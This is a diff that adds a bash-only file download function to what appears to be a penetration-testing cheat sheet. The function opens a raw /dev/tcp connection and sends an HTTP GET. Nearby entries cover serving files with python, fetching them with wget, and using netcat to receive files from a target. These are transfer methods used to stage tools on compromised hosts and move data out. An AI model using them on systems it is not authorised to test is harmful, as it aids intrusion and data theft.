Update Cheat Sheet.md

Cheat Sheet.md

@@ -126,6 +126,37 @@ python3 -m http.server [port] `By default will listen on 8000`<br/>
 
 `wget http://<ip>:port/<file>`
 
+### Download files only with bash script
+
+```
+#!/bin/bash
+download() {
+  read proto server path <<< "${1//"/"/ }"
+  DOC=/${path// //}
+  HOST=${server//:*}
+  PORT=${server//*:}
+  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
+
+  exec 3<>/dev/tcp/${HOST}/$PORT
+
+  # send request
+  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
+
+  # read the header, it ends in a empty line (just CRLF)
+  while IFS= read -r line ; do 
+      [[ "$line" == $'\r' ]] && break
+  done <&3
+
+  # read the data
+  nul='\0'
+  while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do 
+      printf "%s$nul" "$x"
+  done <&3
+  exec 3>&-
+}
+
+```
+
 ### Netcat to download files from target
 
 `nc -l -p [port] > file` Receive file <br/>